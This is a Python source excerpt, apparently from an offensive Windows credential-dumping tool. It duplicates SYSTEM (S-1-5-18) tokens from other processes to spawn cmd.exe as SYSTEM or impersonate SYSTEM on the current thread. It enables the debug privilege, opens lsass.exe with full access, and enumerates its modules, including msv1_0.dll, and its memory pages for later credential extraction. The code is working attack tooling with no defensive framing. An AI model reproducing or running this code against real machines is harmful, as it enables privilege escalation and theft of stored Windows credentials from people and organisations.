def create_process_for_sid(self, target_sid='S-1-5-18', cmdline='C:\\Windows\\system32\\cmd.exe', interactive=True): """ Creates a new process with the token of the target SID TODO: implement non-interactive functionality :( """ for token in self.get_token_for_sid( target_sid=target_sid, dwDesiredAccess=TOKEN_ALL_ACCESS, ImpersonationLevel=SecurityImpersonation, TokenType=TokenImpersonation): try: self.api.advapi32.CreateProcessWithToken_manip(token, cmdline) except Exception as e: logger.log( 1, 'Failed creating process with the token obtained. Reason: %s' % e) continue else: logger.debug( '[ProcessManipulator] Sucsessfully created process!') break
def assign_token_thread_sid(self, target_sid = 'S-1-5-18'): """ assigns the token to the thread specified by threadid, if threadid is none then it will use the current thread """ for token in self.get_token_for_sid(target_sid = target_sid, dwDesiredAccess = TOKEN_QUERY | TOKEN_IMPERSONATE, ImpersonationLevel = SecurityDelegation, TokenType = TokenImpersonation): logger.debug('[ProcessManipulator] Setting token to current thread...') try: self.api.advapi32.SetThreadToken(token) except Exception as e: logger.log(1, 'Failed changing the thread token. Reason: %s' % e) continue else: logger.debug('[ProcessManipulator] Sucsessfully set token to current thread!') break
def list_modules(self): self.modules = [] module_handles = EnumProcessModules(self.phandle) for module_handle in module_handles: module_file_path = GetModuleFileNameExW(self.phandle, module_handle) logger.log(1, module_file_path) timestamp = 0 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': timestamp = int(os.stat(module_file_path).st_ctime) self.msv_dll_timestamp = timestamp modinfo = GetModuleInformation(self.phandle, module_handle) self.modules.append( Module.parse(module_file_path, modinfo, timestamp)) return self.modules
def list_all_tokens(self, force=False): """ iterates trough all available processes, fetches all process tokens, gets user information for all tokens """ logger.debug('[ProcessManipulator] Listing all tokens...') try: res = self.set_privilege(SE_DEBUG) except Exception as e: if force is False: logger.error('Failed to obtain SE_DEBUG privilege!') raise e else: pass token_infos = [] for pid in self.api.psapi.EnumProcesses(): proc_handle = None try: proc_handle = self.api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION, False, pid) logger.log( 1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid)) except Exception as e: logger.log( 1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e))) continue else: token_handle = None try: token_handle = self.api.advapi32.OpenProcessToken( proc_handle, TOKEN_MANIP_ACCESS) except Exception as e: logger.log( 1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e))) continue else: ti = self.get_token_info(token_handle, pid) token_infos.append(ti) finally: if token_handle is not None: self.api.kernel32.CloseHandle(token_handle) finally: if proc_handle is not None: self.api.kernel32.CloseHandle(proc_handle) return token_infos
def get_token_for_sid(self, target_sid = 'S-1-5-18', dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = SecurityImpersonation): """ iterates trough all available processes, fetches all process tokens, checks if sid matches for token, duplicates it and yields them also leaks a lot of handles, probably should be cleaned up TODO """ #LookupAccountSidA try: self.set_privilege(SE_DEBUG) except Exception as e: logger.error('Failed to obtain SE_DEBUG privilege!') raise e token_infos = [] for pid in self.api.psapi.EnumProcesses(): proc_handle = None try: proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) logger.log(1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid)) except Exception as e: logger.log(1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e))) continue else: token_handle = None try: token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS) except Exception as e: logger.log(1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e))) continue else: ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle) sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid) if sid_str == target_sid: logger.debug('[ProcessManipulator] Found token with target sid!') cloned_token = self.api.advapi32.DuplicateTokenEx( token_handle, dwDesiredAccess = dwDesiredAccess, ImpersonationLevel = ImpersonationLevel, TokenType = TokenType ) yield cloned_token finally: if token_handle is not None: self.api.kernel32.CloseHandle(token_handle) finally: if proc_handle is not None: self.api.kernel32.CloseHandle(proc_handle)
def setup(self): logger.log(1, 'Enabling debug privilege') enable_debug_privilege() logger.log(1, 'Getting generic system info') sysinfo = GetSystemInfo() self.processor_architecture = PROCESSOR_ARCHITECTURE( sysinfo.id.w.wProcessorArchitecture) logger.log(1, 'Getting build number') #self.BuildNumber = GetVersionEx().dwBuildNumber #this one doesnt work reliably on frozen binaries :((( key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\') buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') self.BuildNumber = int(buildnumber) if self.process_handle is None: if self.process_pid is None: if self.process_name is None: raise Exception( 'Process name or PID or opened handle must be provided' ) logger.log(1, 'Searching for lsass.exe') self.process_pid = pid_for_name(self.process_name) logger.log( 1, '%s found at PID %d' % (self.process_name, self.process_pid)) logger.log(1, 'Checking Lsass.exe protection status') #proc_protection_info = get_protected_process_infos(pid) #protection_msg = "Protection Status: No protection" #if proc_protection_info: # protection_msg = f"Protection Status: {proc_protection_info['type']}" # if 'signer' in proc_protection_info: # protection_msg += f" ({proc_protection_info['signer']})" # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) #logger.log(1, protection_msg) logger.log(1, 'Opening %s' % self.process_name) self.process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, self.process_pid) if self.process_handle is None: raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError()) else: logger.debug('Using pre-defined handle') logger.log(1, 'Enumerating modules') module_handles = EnumProcessModules(self.process_handle) for module_handle in module_handles: module_file_path = GetModuleFileNameExW(self.process_handle, module_handle) logger.log(1, module_file_path) timestamp = 0 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': timestamp = int(os.stat(module_file_path).st_ctime) self.msv_dll_timestamp = timestamp modinfo = GetModuleInformation(self.process_handle, module_handle) self.modules.append( Module.parse(module_file_path, modinfo, timestamp)) logger.log(1, 'Found %d modules' % len(self.modules)) current_address = sysinfo.lpMinimumApplicationAddress while current_address < sysinfo.lpMaximumApplicationAddress: page_info = VirtualQueryEx(self.process_handle, current_address) self.pages.append(Page.parse(page_info)) current_address += page_info.RegionSize logger.log(1, 'Found %d pages' % len(self.pages)) for page in self.pages: for mod in self.modules: if mod.inrange(page.BaseAddress) == True: mod.pages.append(page)